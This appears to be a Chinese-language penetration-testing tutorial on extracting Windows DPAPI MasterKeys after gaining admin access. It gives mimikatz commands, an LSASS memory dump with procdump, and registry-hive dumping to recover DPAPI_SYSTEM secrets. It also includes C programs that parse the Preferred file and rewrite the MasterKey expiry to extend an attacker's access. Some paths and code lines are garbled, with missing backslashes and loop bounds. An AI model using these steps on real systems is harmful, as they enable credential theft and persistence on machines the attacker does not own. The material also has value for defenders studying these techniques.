滲透技巧——獲取Windows系統下DPAPI中的MasterKey
0x00前言
對於Windows系統,用戶的加密數據大都採用DPAPI進行存儲,而想要解密這些數據解,必須要獲得DPAPI對應的MasterKey。本文將會介紹在獲得了Windows系統的許可權後獲得MasterKey的方法,同時分析Preferred文件格式,延長MasterKey的有效期
0x01 簡介
本文將要介紹以下內容
基本概念
·獲得MasterKey的方法
·解析Preferred文件
·修改MasterKey失效時間
0x02 基本概念
DPAPI:
全稱Data Protection Application Programming Interface
作為Windows系統的一個數據保護介面被廣泛使用
主要用於保護加密的數據,常見的應用如:
·EFS文件加密
·存儲無線連接密碼
·Windows Credential Manager
·Internet Explorer
·Outlook
·Skype
·Windows CardSpace
·Windows Vault
·Google Chrome
Master Key:
64位元組,用於解密DPAPI blob,使用用戶登錄密碼、SID和16位元組隨機數加密後保存在Master Key file中
Master Key file:
二進位文件,可使用用戶登錄密碼對其解密,獲得Master Key
分為兩種:
·用戶Master Key file,位於%APPDATA%MicrosoftProtect\%SID%
·系統Master Key file,位於%WINDIR%System32MicrosoftProtectS-1-5-18User
Preferred文件:
位於Master Key file的同級目錄,顯示當前系統正在使用的MasterKey及其過期時間,默認90天有效期
0x03 獲得MasterKey的方法
本節主要介紹通過mimikatz獲得MasterKey的方法
1、在線獲取
通過讀取Lsass進程信息,獲取當前系統中的MasterKey,能獲得多個Master Key file對應的MasterKey
管理員許可權:
privilege::debug
sekurlsa::dpapi
如下圖
2、離線讀取
思路一:
使用procdump dump出LSASS進程內存
管理員許可權:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用mimikatz載入dmp文件並獲取各個Master Key file對應的MasterKey:
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
思路二:
參考資料:
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials
(1)複製註冊表文件
管理員許可權:
reg save HKLMSYSTEM SystemBkup.hiv
reg save HKLMSECURITY SECURITY.hiv
(2)從註冊表文件中獲得DPAPI_SYSTEM
mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"
如下圖
DPAPI_SYSTEM中的user hash為c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3,能夠用來解密位於%WINDIR%System32MicrosoftProtectS-1-5-18User下的系統Master Key file
(3)解密系統Master Key file,獲得MasterKey
mimikatz "dpapi::masterkey /in:C:WindowsSystem32MicrosoftProtectS-1-5-18User 4ece708-132d-4bf0-a647-e3329269a012 /system:c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3"
如下圖
0x04 解析Preferred文件
位於Master Key file的同級目錄,顯示當前系統正在使用的MasterKey file及其過期時間
格式如下:
typedef struct _tagPreferredMasterKey
{
GUID guidMasterKey;
FILETIME ftCreated;
} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;
例如C:UsersAppDataRoamingMicrosoftProtectS-1-5-21-2884853959-2080156797-250722187-1002Preferred
如下圖
前16位元組F6 B0 11 A1 D7 B4 C8 40 B5 36 67 2A 82 88 B9 58對應guid,調整格式後,對應文件為a111b0f6-b4d7-40c8-b536-672a8288b958
後8位元組D0 08 9F 7D 11 EC D3 01對應過期時間
對於表示時間的FILETIME,格式如下:
typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME, *PFILETIME;
想要顯示成日常使用的時間格式,需要將FILETIME類型轉成SYSTEMTIME類型
在程序實現上,還需要注意使用sscanf_s函數將字元串轉換為DWORD格式
可供參考的C代碼如下:
#include
int main(void)
{
FILE *fp;
unsigned char buf[24];
fopen_s(&fp,"Preferred","rb");
fread(buf,1,24,fp);
printf("Data: ");
for(int i=0;i
{
printf("%02x",buf[i]);
}
fclose(fp);
printf("
guidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x
",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]);
char lowDateTime[9],highDateTime[9];
sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]);
sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]);
printf("dwLowDateTime:%s
",lowDateTime);
printf("dwHighDateTime:%s
",highDateTime);
FILETIME ftUTC;
SYSTEMTIME stUTC2;
sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime);
sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime);
FileTimeToSystemTime(&ftUTC, &stUTC2);
printf("");
printf("Expiry time: %d-%d-%d %d:%d:%d
", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond);
return 0;
}
註:
也可以使用fread讀取int型數據來解決字元串倒序的問題
讀取Preferred文件,解析出當前系統正在使用的Master Key file的guid和過期時間
測試如下圖
0x05 修改MasterKey失效時間
修改思路:
輸入過期時間,將過期時間轉為FILETIME格式,替換Preferred文件的FILETIME
可供參考的c代碼如下:
#include
int main(void)
{
SYSTEMTIME st=;
FILETIME ft=;
printf("[+]Start to change expiry time...
");
st.wYear = 2019;
st.wMonth = 12;
st.wDay = 30;
st.wHour = 12;
st.wMinute = 30;
st.wSecond = 30;
printf("[+]New expiry time:%d-%d-%d %d:%d:%d
", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
SystemTimeToFileTime(&st,&ft);
printf("dwLowDateTime:%08x
",ft.dwLowDateTime);
printf("dwHighDateTime:%08x
",ft.dwHighDateTime);
FILE *fp;
fopen_s(&fp,"Preferred","rb+");
fseek(fp,16,SEEK_SET);
fwrite(&ft.dwLowDateTime,sizeof(int),1,fp);
fwrite(&ft.dwHighDateTime,sizeof(int),1,fp);
fclose(fp);
printf("[+]Change success.
");
return 0;
}
讀取Preferred文件,將過期時間設置為2019-12-30 12:30:30
修改後重新讀取Preferred文件信息,成功修改,如下圖
0x06 小結
本文總結了在獲得了Windows系統的許可權後獲得MasterKey的方法,編寫程序自動分析Preferred文件格式並延長MasterKey的有效期
TAG:嘶吼RoarTalk |